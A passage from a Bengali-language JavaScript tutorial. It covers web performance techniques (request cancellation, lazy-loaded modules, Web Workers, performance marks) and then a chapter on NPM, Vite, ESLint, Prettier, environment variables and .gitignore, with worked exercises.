currentAbortController.abort();
console.warn('[Request Aborted]: Canceled stale pending query');
}
// ২. নতুন রিকোয়েস্টের জন্য ফ্রেশ কন্ট্রোলার তৈরি
currentAbortController = new AbortController();
const { signal } = currentAbortController;
try {
const response = await fetch(`/api/products?search=${encodeURIComponent(searchTerm)}`, { signal });
const data = await response.json();
displayResults(data.results);
console.log(`[Search Results Loaded] Count: ${data.results.length}`);
} catch (err) {
if (err.name === 'AbortError') {
console.log('ℹ️ Request successfully aborted as user typed new characters.');
} else {
console.error('Network Error:', err);
}
} finally {
currentAbortController = null;
}
}, 400);
document.getElementById('api-search-input').addEventListener('input', (e) => {
searchProducts(e.target.value.trim());
});
সমস্যা ও লক্ষ্য: Dashboard-এর Overview, Analytics, Reports, Settings ট্যাবসমূহ অন-ডিমান্ড lazy-load ও মডিউল ক্যাশ করার ক্লায়েন্ট-সাইড আর্কিটেকচার।
// Route-to-Module Manifest
const routeManifest = {
overview: () => import('./views/overview.js'),
analytics: () => import('./views/analytics.js'),
reports: () => import('./views/reports.js'),
settings: () => import('./views/settings.js')
};
// In-Memory Component Cache (একবার লোড হলে আর নেটওয়ার্ক কল হবে না)
const componentCache = new Map();
const contentArea = document.getElementById('dashboard-view');
async function navigateTab(routeKey) {
if (!routeManifest[routeKey]) return;
// ক্যাশ চেক
if (componentCache.has(routeKey)) {
console.log(`⚡ [Cache Hit] Rendering cached tab: ${routeKey}`);
const cachedRender = componentCache.get(routeKey);
cachedRender(contentArea);
return;
}
// ক্যাশ মিস: নেটওয়ার্ক থেকে চাঙ্ক লোড
contentArea.innerHTML = '<div class="loader-spinner">Loading view module...</div>';
try {
const module = await routeManifest[routeKey]();
componentCache.set(routeKey, module.render); // ক্যাশে সেভ
module.render(contentArea);
console.log(`🌐 [Network Load] Module loaded & cached: ${routeKey}`);
} catch (err) {
contentArea.innerHTML = '<div class="error-msg">Failed to load view. Check connection.</div>';
}
}
// Event Delegation on Tab Buttons
document.getElementById('tab-nav').addEventListener('click', (e) => {
if (e.target.matches('button[data-route]')) {
navigateTab(e.target.dataset.route);
}
});
সমস্যা ও লক্ষ্য: ১ লক্ষ আইটেমের বিশাল JSON ডেটাসেট ফিল্টারিং ও সর্টিং করার সময় মেইন থ্রেড যাতে ১ মিলিমিটারও ফ্রিজ না হয় তার জন্য Web Worker সলিউশন।
// --- MAIN THREAD SCRIPT (app.js) ---
const worker = new Worker('./workers/dataProcessor.worker.js');
const statusBadge = document.getElementById('status-badge');
// ১. বিশাল ডেটাসেট প্রসেসিংয়ের জন্য ওয়ার্কারের কাছে পাঠানো
function processDataset(heavyData, filterKeyword) {
statusBadge.textContent = 'Processing 100k items in Background Worker...';
console.time('Worker Processing Time');
worker.postMessage({
action: 'FILTER_AND_SORT',
payload: heavyData,
keyword: filterKeyword
});
}
// ২. ওয়ার্কার থেকে ফলাফল রিসিভ
worker.onmessage = function(e) {
const { sortedData, executionMs } = e.data;
console.timeEnd('Worker Processing Time');
statusBadge.textContent = `✅ Processed ${sortedData.length} records in ${executionMs}ms (Main thread stayed 60FPS!)`;
renderTopResults(sortedData.slice(0, 50));
};
// --- WORKER SCRIPT (dataProcessor.worker.js) ---
// self.onmessage = function(e) {
// const { payload, keyword } = e.data;
// const t0 = performance.now();
// const filtered = payload
// .filter(item => item.name.toLowerCase().includes(keyword.toLowerCase()))
// .sort((a, b) => b.score - a.score);
// self.postMessage({ sortedData: filtered, executionMs: Math.round(performance.now() - t0) });
// };
সমস্যা ও লক্ষ্য: Chrome DevTools Performance প্যানেলে কাস্টম টাইমলাইন মেজারমেন্ট দেখতে performance.mark() ও performance.measure() দিয়ে কোড প্রোফাইলিং।
// ১. শুরু চিহ্নিত করা
performance.mark('data-fetch-start');
async function benchmarkDataFetch() {
const res = await fetch('https://jsonplaceholder.typicode.com/posts');
const data = await res.json();
performance.mark('data-fetch-end');
// ২. ফেচিংয়ের সময় পরিমাপ
performance.measure('Data Fetch Duration', 'data-fetch-start', 'data-fetch-end');
// ৩. DOM রেন্ডারিং পরিমাপ
performance.mark('dom-render-start');
const frag = document.createDocumentFragment();
data.slice(0, 100).forEach(post => {
const div = document.createElement('div');
div.textContent = post.title;
frag.appendChild(div);
});
document.getElementById('benchmark-container').appendChild(frag);
performance.mark('dom-render-end');
performance.measure('DOM Batch Rendering Duration', 'dom-render-start', 'dom-render-end');
// ৪. মেজারমেন্ট ফলাফল কনসোলে বিশ্লেষণ
const measures = performance.getEntriesByType('measure');
measures.forEach(m => console.log(`⏱️ [Metric] ${m.name}: ${m.duration.toFixed(2)} ms`));
// মেমোরি পরিষ্কার
performance.clearMarks();
performance.clearMeasures();
}
benchmarkDataFetch();
সমস্যা ও লক্ষ্য: একটি ধীরগতির ইকমার্স প্রোডাক্ট পেজ অপ্টিমাইজেশনের বাস্তব কেস স্টাডি: Before vs After মেজারমেন্ট এবং স্পষ্ট অডিট রিপোর্ট।
/*
================================================================================
REAL-WORLD E-COMMERCE PERFORMANCE CASE STUDY (BEFORE VS AFTER AUDIT)
================================================================================
[PROBLEM AUDIT - BEFORE OPTIMIZATION]:
* Initial JS Bundle: 1.8 MB (Monolithic bundle, zero code splitting)
* Hero & Product Images: Uncompressed PNGs (Total 4.5 MB, no lazy loading)
* Scroll Listener: Un-throttled scroll event recalculating layout on every tick
* HTTP Cache: Missing Cache-Control headers, re-downloading static files on reload
* Lighthouse Performance Score: 38 / 100
* LCP (Largest Contentful Paint): 5.4 seconds (POOR ❌)
* INP (Interaction to Next Paint): 480 ms (POOR ❌)
* CLS (Cumulative Layout Shift): 0.38 (POOR ❌)
[OPTIMIZATION INTERVENTIONS APPLIED]:
1. Image Pipeline: Converted all PNGs to AVIF/WebP, added width/height & loading="lazy".
2. Code Splitting: Split checkout & heavy charts via dynamic import() (Bundle reduced to 280 KB).
3. Layout Thrashing Elimination: Replaced synchronous DOM reads with DocumentFragment & rAF.
4. Network & Cache: Configured Cloudflare CDN with Cache-Control: max-age=31536000, immutable.
5. Scroll Events: Added throttle(300ms) with { passive: true } on window scroll listeners.
[VERIFICATION RESULTS - AFTER OPTIMIZATION]:
* Initial JS Bundle: 280 KB (84% Size Reduction ✅)
* Image Transfer Weight: 420 KB (90% Size Reduction ✅)
* Lighthouse Performance Score: 98 / 100 (FAST 🚀)
* LCP: 1.2 seconds (GOOD ✅ < 2.5s)
* INP: 45 ms (GOOD ✅ < 200ms)
* CLS: 0.02 (GOOD ✅ < 0.1)
================================================================================
*/
পুরো Chapter 33-এর সকল মেকানিজম ও আর্কিটেকচারাল কানেকশন একসাথে:
WEB PERFORMANCE ECOSYSTEM
│
┌──────────────────────┼──────────────────────┐
│ │ │
NETWORK BROWSER JAVASCRIPT
│ │ │
HTTP/2 & HTTP/3 DOM + CSSOM Code Splitting
CDN Edge Delivery Critical Path Tree Shaking
Brotli Compression Layout & Reflow Minification
Cache-Control Headers Paint & GPU Composite Debounce & Throttle
Preload & Prefetch DocumentFragment Web Workers
│ │ │
└──────────────────────┼──────────────────────┘
│
▼
USER EXPERIENCE
│
┌──────────────────┼──────────────────┐
│ │ │
LCP INP CLS
(Loading Speed) (Responsiveness) (Visual Stability)
< 2.5s < 200ms < 0.10
[GOOD ✓] [GOOD ✓] [GOOD ✓]
Chapter 32: Advanced Browser APIs
↓
Browser-এর গভীর প্ল্যাটফর্ম সক্ষমতা (Workers, Observers, Sockets, IndexedDB)
↓
Chapter 33: Web Performance & Optimization (THIS CHAPTER)
↓
ব্রাউজারের সেই সক্ষমতা সর্বোচ্চ গতি, রিসোর্স সাশ্রয় ও 60FPS-এ পরিচালনা
↓
Chapter 34: NPM & Modern JavaScript Tooling
↓
প্যাকেজ ম্যানেজমেন্ট, বিল্ড টুলস (Vite/Webpack), ট্রান্সপাইলার ও অটোমেটেড ওয়ার্কফ্লো
বাস্তব দুনিয়ায় প্রফেশনাল জাভাস্ক্রিপ্ট অ্যাপ্লিকেশন কখনো শূন্য থেকে একা তৈরি করা হয় না। বিশ্বজুড়ে লক্ষ লক্ষ ডেভেলপারের তৈরি প্যাকেজ নিরাপদে ম্যানেজ করা, নির্ভুল ডিপেনডেন্সি লক রাখা এবং স্বয়ংক্রিয় বিল্ড ও লিন্টিং পাইপলাইন পরিচালনা করাই হলো আধুনিক সফটওয়্যার ইঞ্জিনিয়ারিংয়ের মূল ভিত্তি। এই চ্যাপ্টারে আমরা package.json, Semantic Versioning (SemVer), Lockfiles, npm vs npx, Vite, Bundlers, Tree Shaking, ESLint, Prettier, .env সিকিউরিটি এবং CI/CD প্রোডাকশন ডিপ্লয়মেন্ট শিখব।
Package হলো reusable code-এর একটি collection, যেটা অন্য developer নিজের project-এ ব্যবহার করতে পারে। ধরো তুমি নিজে একটা function লিখলে:
function add(a, b) {
return a + b;
}
কিন্তু একজন developer এমন একটি library তৈরি করল যেখানে হাজার হাজার useful function আছে। তুমি সেই library install করে ব্যবহার করতে পারো।
Your Project
│
├── Your Code
│
└── External Packages
│
├── React
├── Express
├── Axios
├── Lodash
└── etc.
NPM = Node Package Manager এটি JavaScript ecosystem-এর সবচেয়ে পরিচিত package manager-গুলোর একটি। NPM দিয়ে আমরা:
ইত্যাদি করতে পারি।
npm install lodash
এখানে:
npm ↓ install ↓ lodash
Node.js install করলে সাধারণত npm-ও পাওয়া যায়। Check করতে:
node -v
npm -v
Example:
v24.x.x 11.x.x
তোমার নিজের system-এ exact version আলাদা হতে পারে।
একটি নতুন folder:
mkdir my-project
cd my-project
তারপর:
npm init
এটি কিছু প্রশ্ন করবে। আর দ্রুত default configuration চাইলে:
npm init -y
এতে তৈরি হবে:
package.json
package.json কী?package.json হলো JavaScript/Node project-এর project configuration এবং dependency manifest file। Example:
{
"name": "my-project",
"version": "1.0.0",
"description": "My JavaScript project",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"dependencies": {},
"devDependencies": {}
}
এটি project-এর গুরুত্বপূর্ণ information ধরে রাখে।
package.json-এর গুরুত্বপূর্ণ fields| Field | কাজ |
|---|---|
name | Project/package name |
version | Project version |
description | Project description |
main | Entry point |
scripts | Commands |
dependencies | Production dependencies |
devDependencies | Development dependencies |
type | Module system |
engines | Runtime version requirements |
name{
"name": "my-project"
}
এটি project/package-এর নাম। সাধারণত lowercase এবং npm naming rules অনুসরণ করা হয়।
version{
"version": "1.0.0"
}
এটি project/package-এর current version। এখানেই আসে Semantic Versioning।
সাধারণ format:
MAJOR.MINOR.PATCH
Example:
2.5.3
মানে:
2 → Major 5 → Minor 3 → Patch
Breaking changes:
1.0.0
↓
2.0.0
আগের code compatibility নষ্ট হতে পারে।
নতুন backward-compatible feature:
1.2.0
↓
1.3.0
Bug fix:
1.2.3
↓
1.2.4
Dependency হলো এমন package যার ওপর তোমার project নির্ভর করে। ধরো:
npm install express
তাহলে express project-এর dependency। package.json:
{
"dependencies": {
"express": "^5.1.0"
}
}
ধরো তুমি restaurant বানাচ্ছো। তোমার restaurant:
Restaurant │ ├── Chef ├── Waiter ├── Kitchen └── Electricity
Electricity ছাড়া restaurant চলবে না। ঠিক তেমনি:
Your App │ ├── React ├── Express ├── Database Driver └── Other Packages
এগুলো application-এর dependency হতে পারে।
npm installPackage install:
npm install lodash
Short form:
npm i lodash
এটি সাধারণত: 1. package download করে 2. node_modules তৈরি/আপডেট করে 3. package.json update করে 4. lockfile update করে
node_modulesPackage install করার পর:
my-project/ │ ├── node_modules/ ├── package.json ├── package-lock.json └── index.js
node_modules-এর মধ্যে installed packages থাকে। উদাহরণ:
node_modules/ ├── lodash/ ├── express/ ├── ...
# 🔥 node_modules GitHub-এ commit করা উচিত? সাধারণত: না। .gitignore:
node_modules/
কারণ অন্য developer:
npm install
দিয়ে dependencies install করতে পারে।
package-lock.jsonএটি dependency tree-এর exact resolved versions এবং related metadata lock করে রাখে। Example:
package.json ↓ Version range ↓ package-lock.json ↓ Exact dependency resolution
এটি team এবং CI/CD environment-এ consistent installation-এর জন্য গুরুত্বপূর্ণ।
package.json vs package-lock.jsonpackage.json | package-lock.json |
|---|---|
| Project/dependency declaration | Resolved dependency tree lock |
| Version range থাকতে পারে | Exact resolved versions record করে |
| Human-edited | সাধারণত npm manage করে |
| Project configuration | Reproducible installation-এ সাহায্য করে |
package.json ✅ package-lock.json ✅ node_modules ❌
npm install বনাম npm cinpm installnpm install
সাধারণত dependency install/update resolution করতে পারে এবং lockfile update করতে পারে।
npm cinpm ci
Clean, reproducible installation-এর জন্য ব্যবহৃত হয়, বিশেষ করে CI/CD-তে। এটি lockfile-এর ওপর বেশি strict।
Developer Machine
↓
npm install
CI/CD Server
↓
npm ci
এটি খুব important।
Application চালানোর সময় দরকার:
npm install express
package.json:
{
"dependencies": {
"express": "^5.1.0"
}
}
Development-এর সময় দরকার:
npm install -D eslint
অথবা:
npm install --save-dev eslint
Result:
{
"devDependencies": {
"eslint": "^9.x"
}
}
ধরো React project:
dependencies ├── react └── react-dom devDependencies ├── vite ├── eslint └── prettier
সহজভাবে:
Application Runtime
↓
dependencies
Development / Build / Testing
↓
devDependencies
⚠️ Exact production bundling behavior tool/platform অনুযায়ী ভিন্ন হতে পারে, তাই শুধু category দেখে package runtime-এ থাকবে/থাকবে না এমন universal assumption করা ঠিক নয়।
npm install axios
npm install -D eslint
npm install lodash@4.17.21
npm install lodash@latest
npm install -g some-package
Global install প্রয়োজন অনুযায়ী ব্যবহার করা হয়; project dependencies-এর জন্য সাধারণত local install preferred।
npm uninstall lodash
অথবা:
npm remove lodash
npm update
Specific package:
npm update lodash
Installed packages দেখতে:
npm list
Top-level packages:
npm list --depth=0
npm outdatedকোন package outdated তা দেখতে:
npm outdated
Example:
Package Current Wanted Latest
react 18.x 18.x 19.x
Concept:
Current → এখন installed Wanted → package.json-এর allowed range-এর মধ্যে update Latest → registry-এর latest version
NPM package সাধারণত registry থেকে পাওয়া যায়। Concept:
Developer
↓
npm install react
↓
NPM Registry
↓
Package download
↓
node_modules
npm searchPackage খুঁজতে:
npm search express
তবে modern development-এ official documentation, package repository এবং trusted sources দেখে package নির্বাচন করা ভালো।
npm infoPackage সম্পর্কে information:
npm info express
Specific version:
npm info express version
npm viewExample:
npm view react version
এটি registry থেকে package metadata দেখতে সাহায্য করে।
package.json:
{
"scripts": {
"start": "node index.js",
"dev": "node --watch index.js",
"test": "node test.js"
}
}
Run:
npm run dev
npm start
npm test
npm run কী করে?npm run dev
মানে:
npm ↓ package.json ↓ scripts ↓ dev ↓ associated command
npm startSpecial shorthand:
npm start
এটি:
npm run start
এর equivalent। একইভাবে:
npm test
special script হিসেবে ব্যবহার করা যায়।
package.json:
{
"scripts": {
"dev": "vite",
"build": "vite build",
"preview": "vite preview"
}
}
Commands:
npm run dev
npm run build
npm run preview
React/Vite project-এ এ ধরনের scripts খুব common।
npx কী?npx package-এর executable command run করতে ব্যবহৃত হয়। Example:
npx vite
আরেকটি common pattern:
npx create-vite
এটি package command চালানোর জন্য ব্যবহৃত হয়।
npm install ↓ Package install/manage npx ↓ Package executable run
npx কি package install করে?npx প্রয়োজন অনুযায়ী package executable resolve/download/cache করে run করতে পারে। তাই:
npx some-tool
মানে সবসময় permanent local dependency হিসেবে project-এ install হয়ে গেছে—এমন নয়।
Vite হলো modern frontend development/build tool। React project তৈরি:
npm create vite@latest
তারপর:
npm install
Run:
npm run dev
Development-এর সময়:
Your Code ↓ Vite Dev Server ↓ Browser
Production build:
Source Code ↓ Vite Build ↓ Optimized Assets ↓ dist/
Development source code production-এর জন্য optimize করে output তৈরি করাকে broadly build process বলা হয়। Example:
npm run build
Output:
dist/ ├── index.html ├── assets/ │ ├── index-xxxx.js │ └── index-xxxx.css
npm run dev
সাধারণত:
npm run build
সাধারণত:
একটি modern frontend application-এ অনেক module থাকতে পারে:
main.js ├── utils.js ├── api.js ├── components.js └── styles.css
Build tooling এগুলো process করে browser-এর জন্য optimized assets তৈরি করতে পারে। এখানে bundling/chunking/module transformation-এর মতো কাজ হতে পারে।
Unused code বাদ দেওয়ার optimization-কে tree shaking বলা হয়। ধরো:
export function add() {}
export function subtract() {}
export function multiply() {}
তুমি শুধু:
import { add } from "./math.js";
ব্যবহার করলে build tool বুঝতে পারে অন্য exports ব্যবহৃত হচ্ছে না এবং production output-এ সেগুলো বাদ দেওয়ার সুযোগ পেতে পারে। ⚠️ Tree shaking সবসময় perfect হয় না; static analyzability এবং package/module structure গুরুত্বপূর্ণ।
Code-এর unnecessary whitespace/comments ইত্যাদি কমিয়ে output ছোট করা হয়। Before:
function add(a, b) {
return a + b;
}
Production output conceptually এমন হতে পারে:
function add(a,b){return a+b}
এতে download size কমতে পারে।
Production/minified code debug করতে source map সাহায্য করে। Concept:
Original Code ↓ Build ↓ Minified Code + Source Map ↓ DevTools ↓ Original source mapping
সাধারণত:
.js .js.map
দেখতে পাওয়া যেতে পারে।
ESLint JavaScript/TypeScript code-এর সমস্যা, ভুল pattern এবং style-related issues detect করতে সাহায্য করে। Example:
const x = 10
তোমার ESLint configuration অনুযায়ী semicolon বা অন্যান্য rule নিয়ে warning/error দিতে পারে। Install:
npm install -D eslint
তারপর project অনুযায়ী configuration setup করা হয়।
Code ↓ ESLint ↓ Problems / Warnings ↓ Fix ↓ Better Code
এটি:
Prettier হলো code formatter। Example: Before:
const user={name:"Ripon",age:24};
Prettier এটাকে format করতে পারে:
const user = {
name: "Ripon",
age: 24,
};
Install:
npm install -D prettier
| ESLint | Prettier |
|---|---|
| Code quality/linting | Formatting |
| Potential problems detect | Code format করে |
| Rules | Layout/style |
| Bug-prone patterns detect করতে পারে | Consistent appearance |
দুটো একসাথে ব্যবহার করা খুব common।
Environment-specific configuration রাখার জন্য environment variables ব্যবহার করা হয়। Example:
API_URL=https://api.example.com
Node.js-এ:
console.log(process.env.API_URL);
.env FileExample:
PORT=5000
DATABASE_URL=...
API_URL=https://api.example.com
Node.js application-এ environment variables load করার জন্য runtime/tool অনুযায়ী ব্যবস্থা লাগে। # ⚠️ খুব গুরুত্বপূর্ণ Security Rule Frontend application-এ environment variable লিখলেই সেটা secret হয় না। যেমন:
VITE_API_KEY=123456
Vite-এর frontend build-এ expose করা variable browser-এর কাছে চলে যেতে পারে। তাই:
Frontend ❌ Secret API key ❌ Database password ❌ Private credentials ❌ Server secret
Frontend-এ কখনো real secret রাখবে না।
.gitignoreSensitive/local/generated files Git থেকে বাদ দিতে:
node_modules/
.env
dist/
কিন্তু project-specific rules অনুযায়ী .env.example রাখা যেতে পারে:
PORT=
DATABASE_URL=
API_URL=
এতে team বুঝতে পারে কোন variables প্রয়োজন।
External package ব্যবহার মানেই security risk-এর possibility থাকে। Check:
npm audit
Fix attempt:
npm audit fix
Package update:
npm update
কিন্তু blindly:
npm audit fix --force
ব্যবহার করা উচিত নয়। কারণ breaking changes আসতে পারে।
একটি package-এর নিজের dependency থাকতে পারে।
Your App │ └── Package A │ ├── Package B │ └── Package C │ └── Package D
এজন্য node_modules অনেক বড় হতে পারে।
তুমি নিজে install করেছো:
npm install express
Express-এর dependency হিসেবে অন্য package এসেছে।
Your App ↓ Express ↓ Other Package
package.json-এ:
{
"dependencies": {
"example": "^1.2.3"
}
}
এখানে ^ version range বোঝায়। আর:
"example": "~1.2.3"
এর behavior আলাদা।
^ এবং ~সাধারণ SemVer context-এ:
^1.2.3
সাধারণত compatible minor/patch updates allow করে, কিন্তু 2.0.0 নয়।
~1.2.3
সাধারণত patch-level updates-এর মধ্যে থাকে। ⚠️ Exact behavior package versioning rules এবং major version (0.x) অনুযায়ী nuance থাকতে পারে।
{
"dependencies": {
"example": "1.2.3"
}
}
এতে range না রেখে exact version declare করা হয়। কিন্তু reproducible installation-এর জন্য lockfile-ও গুরুত্বপূর্ণ।
npm install eslint
থাকে:
project/node_modules/
npm install -g ...
Machine-wide command-এর জন্য।
Project-specific dependency:
Local install
সাধারণত preferred।
npm execPackage executable run করার আরেকটি modern command:
npm exec -- eslint .
অনেক ক্ষেত্রে npx-এর alternative হিসেবে ব্যবহার করা যায়।
Script:
{
"scripts": {
"lint": "eslint ."
}
}
Run:
npm run lint
Additional arguments pass করতে:
npm run lint -- --fix
Structure:
my-node-app/ │ ├── src/ │ └── index.js │ ├── .env ├── .gitignore ├── package.json ├── package-lock.json └── README.md
package.json:
{
"name": "my-node-app",
"version": "1.0.0",
"type": "module",
"scripts": {
"start": "node src/index.js",
"dev": "node --watch src/index.js"
}
}
Run:
npm run dev
my-react-app/ │ ├── node_modules/ ├── public/ ├── src/ │ ├── components/ │ ├── App.jsx │ └── main.jsx │ ├── .gitignore ├── index.html ├── package.json ├── package-lock.json └── vite.config.js
Commands:
npm install
Development:
npm run dev
Production build:
npm run build
Preview:
npm run preview
npm create vs npxModern tooling-এ তুমি এমন command দেখতে পারো:
npm create vite@latest
এটি project scaffolding tool চালায়। অন্যদিকে:
npx some-tool
সাধারণভাবে package executable run করার pattern।
NPM ছাড়াও আছে:
yarn
pnpm install
bun install
এগুলো JavaScript ecosystem-এর package/runtime tooling ecosystem-এর অংশ। তবে একটি project-এ package manager consistent রাখা ভালো।
packageManager Fieldকখনও project-এ:
{
"packageManager": "npm@11.x"
}
এর মতো metadata থাকতে পারে। এটি team-কে কোন package manager/version ব্যবহার করার expectation জানাতে সাহায্য করতে পারে।
NPM downloaded package metadata/content-এর cache ব্যবহার করতে পারে। Cache সম্পর্কে:
npm cache verify
এটি cache integrity check করতে সাহায্য করে। সাধারণ সমস্যা হলেই সরাসরি cache delete করা সবসময় প্রথম solution নয়।
একজন developer যখন GitHub থেকে project clone করে:
git clone <repo>
তারপর:
cd project
তারপর:
npm install
তারপর:
npm run dev
Flow:
GitHub ↓ Clone ↓ package.json ↓ npm install ↓ node_modules ↓ npm run dev ↓ Application
ধরো Vite application:
Source Code ↓ npm install ↓ npm run build ↓ dist/ ↓ Hosting
Node backend:
Source ↓ npm ci ↓ Environment Variables ↓ Start command ↓ Server
node_modules GitHub-এ push করাnode_modules/
.env public repository-তে push করা.env
Update-এর আগে breaking changes/changelog/documentation দেখা উচিত।
npm audit fix --force blindly চালানোএতে breaking upgrade হতে পারে।
Project dependency local রাখা সাধারণত ভালো।
কারণ reproducible dependency installation-এর সুবিধা নষ্ট হতে পারে।
আগে package:
দেখা ভালো।
প্রফেশনাল ডেভেলপার হিসেবে প্রজেক্ট পরিচালনা ও ডিপ্লয়মেন্টে এই ১০টি মূল স্তম্ভ সর্বদা মেনে চলতে হবে:
| Command / Concept | Syntax / Option | Main Purpose & Mechanism |
|---|---|---|
| npm init -y | npm init -y | ডিফল্ট কনফিগারেশনে তাৎক্ষণিক package.json তৈরি |
| npm install | npm i <pkg> | রানটাইম ডিপেনডেন্সি ইনস্টল ও package.json-এ যুক্ত |
| npm install -D | npm i -D <pkg> | শুধু ডেভেলপমেন্টে প্রয়োজনীয় প্যাকেজ ইনস্টল (devDependencies) |
| npm install -g | npm i -g <pkg> | সিস্টেম-ওয়াইড গ্লোবাল সিএলআই টুল ইনস্টল |
| npm ci | npm ci | লকফাইল অনুযায়ী কঠোর ও ক্লিন ইনস্টলেশন (CI/CD-তে বাধ্যতামূলক) |
| npm run | npm run <script> | package.json-এ সংজ্ঞায়িত কাস্টম স্ক্রিপ্ট এক্সিকিউট |
| npx | npx <package> | প্যাকেজ লোকালি ইনস্টল না করে রিমোট থেকে সরাসরি রান |
| npm outdated | npm outdated | প্রজেক্টের কোন কোন প্যাকেজ পুরনো হয়েছে তা অডিট |
| npm update | npm update | SemVer রেঞ্জ মেনে অনুমোদিত মাইনর ও প্যাচ ভার্সন আপডেট |
| npm uninstall | npm un <pkg> | প্যাকেজ ও তার রেফারেন্স সম্পূর্ণ মুছে ফেলা |
| npm audit | npm audit | ডিপেনডেন্সি ট্রিতে পরিচিত সিকিউরিটি দুর্বলতা স্ক্যান |
| npm audit fix | npm audit fix | অটোমেটিক সিকিউরিটি প্যাচ ইনস্টল করে নিরাপত্তা নিশ্চিত |
| Caret (^) | "^1.2.3" | MAJOR অপরিবর্তিত রেখে MINOR ও PATCH অটো আপডেট |
| Tilde (~) | "~1.2.3" | MAJOR ও MINOR অপরিবর্তিত রেখে শুধু PATCH অটো আপডেট |
| Exact | "1.2.3" | কোনো অটো আপডেট হবে না, হুবহু এই ভার্সন থাকবে |
| Vite Dev | vite / npm run dev | নো-বান্ডলিং নেটিভ ESM দিয়ে ইন্সট্যান্ট ডেভ সার্ভার বুট |
| Vite Build | vite build | Rollup ও esbuild দিয়ে অপ্টিমাইজড প্রোডাকশন বান্ডলিং |
| ESLint | npx eslint . | জাভাস্ক্রিপ্ট সিনট্যাক্স ভুল ও অ্যান্টি-প্যাটার্ন শনাক্ত |
| Prettier | npx prettier --write . | কোড ফরম্যাটিং ও স্পেসিং স্বয়ংক্রিয়ভাবে সাজানো |
| .gitignore | node_modules/, .env | সংবেদনশীল ও হেভি ফাইল গিট ট্র্যাকিং থেকে বাদ দেওয়া |
সমস্যা ও লক্ষ্য: একটি নতুন NPM project তৈরি করুন (npm init -y) এবং স্বয়ংক্রিয়ভাবে তৈরি হওয়া package.json-এর স্ট্রাকচার বিশ্লেষণ করুন।
# টার্মিনালে নতুন ফোল্ডার তৈরি করে প্রজেক্ট ইনিশিয়ালাইজেশন
mkdir my-js-project
cd my-js-project
npm init -y
{
"name": "my-js-project",
"version": "1.0.0",
"description": "Enterprise JavaScript Package",
"main": "src/index.js",
"type": "module",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": ["javascript", "tooling", "npm"],
"author": "FullStack Engineer",
"license": "MIT"
}
সমস্যা ও লক্ষ্য: একটি থার্ড-পার্টি লাইব্রেরি (lodash-es) ইনস্টল করুন এবং মডার্ন জাভাস্ক্রিপ্ট ফাইলে ইমপোর্ট করে অ্যারে অপারেশন পরিচালনা করুন।
# টার্মিনালে lodash-es ইনস্টল
npm install lodash-es
// src/index.js
import { chunk, shuffle, uniq } from 'lodash-es';
const rawScores = [10, 20, 30, 20, 40, 50, 10, 60, 70, 80];
// ডুপ্লিকেট সরানো
const uniqueScores = uniq(rawScores);
console.log('Unique Scores:', uniqueScores);
// ৩টি করে চাঙ্কে বিভক্ত করা
const scoreChunks = chunk(uniqueScores, 3);
console.log('Score Chunks:', scoreChunks);
// অ্যারে এলোমেলো করা
console.log('Shuffled:', shuffle(uniqueScores));
সমস্যা ও লক্ষ্য: একটি ডেভেলপমেন্ট-অনলি প্যাকেজ (eslint) ইনস্টল করুন এবং devDependencies-এর তাৎপর্য বুঝুন।
# ডেভেলপমেন্ট টুল হিসেবে ESLint ইনস্টল
npm install -D eslint
{
"name": "my-js-project",
"version": "1.0.0",
"type": "module",
"dependencies": {
"lodash-es": "^4.17.21"
},
"devDependencies": {
"eslint": "^9.0.0"
}
}
সমস্যা ও লক্ষ্য: package.json-এ আধুনিক স্ক্রিপ্ট পাইপলাইন কনফিগার করুন এবং টার্মিনাল থেকে npm run দিয়ে এক্সিকিউট করুন।
# স্ক্রিপ্ট রান করার কমান্ড
npm run dev # ওয়াচ মোডে লাইভ রান
npm run build # প্রোডাকশন বিল্ড ও অ্যাসেট তৈরি
npm start # প্রোডাকশন সার্ভার স্টার্ট
{
"scripts": {
"dev": "node --watch src/index.js",
"build": "echo 'Building production bundle...' && mkdir -p dist && cp -r src/* dist/",
"start": "node dist/index.js",
"lint": "eslint src/**/*.js"
}
}
সমস্যা ও লক্ষ্য: node_modules এবং .env ফাইল যেন কখনো গিট রিপোজিটরিতে পুশ না হয় তার জন্য প্রোডাকশন গ্রেড .gitignore ফাইল তৈরি করুন।
# গিট স্ট্যাটাস চেক করে ইগনোর হওয়া নিশ্চিত করা
git status
# Dependencies (কখনো গিটে পুশ করবেন না, হাজার হাজার ফাইল থাকে)
node_modules/
/.pnp
.pnp.js
# Environment Variables & Secrets (সিকিউরিটি রিস্ক)
.env
.env.local
.env.production
# Build Outputs & Cache
dist/
build/
.npm/
.eslintcache
# Operating System Files
.DS_Store
Thumbs.db
npm-debug.log*
yarn-debug.log*
সমস্যা ও লক্ষ্য: একটি স্ট্যান্ডার্ড Node.js প্রজেক্ট ফোল্ডার স্ট্রাকচার তৈরি করুন এবং Node 20+ এর নেটিভ --watch ফ্ল্যাগ দিয়ে হট-রিলোড ডেভ সার্ভার চালান।
# প্রজেক্ট রান
npm run dev
// src/index.js
import http from 'node:http';
const PORT = process.env.PORT || 3000;
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
status: 'online',
runtime: 'Node.js LTS',
timestamp: new Date().toISOString()
}));
});
server.listen(PORT, () => {
console.log(`🚀 Server active at http://localhost:${PORT}`);
console.log('⚡ Watching src/ for instant code changes...');
});
সমস্যা ও লক্ষ্য: npm create vite@latest দিয়ে একটি আধুনিক, হাই-পারফরম্যান্স ভ্যানিলা বা রিঅ্যাক্ট ফ্রন্টএন্ড প্রজেক্ট তৈরি করুন।
# ১. Vite দিয়ে প্রজেক্ট স্ক্যাফোল্ড করা
npm create vite@latest enterprise-frontend -- --template vanilla
# ২. ডিরেক্টরিতে প্রবেশ করে ডিপেনডেন্সি ইনস্টল
cd enterprise-frontend
npm install
# ৩. লাইভ ডেভ সার্ভার বুট
npm run dev
// vite.config.js (Production Ready Configuration)
import { defineConfig } from 'vite';
export default defineConfig({
server: {
port: 5173,
open: true
},
build: {
outDir: 'dist',
minify: 'esbuild',
sourcemap: false
}
});
সমস্যা ও লক্ষ্য: একটি প্রোডাকশন বিল্ড তৈরি করুন (npm run build) এবং dist/ ফোল্ডারের মিনিফাইড জাভাস্ক্রিপ্ট ও হ্যাশড অ্যাসেট পরীক্ষা করুন।
# বিল্ড কমান্ড রান
npm run build
# বিল্ড আউটপুট প্রিভিউ
npm run preview
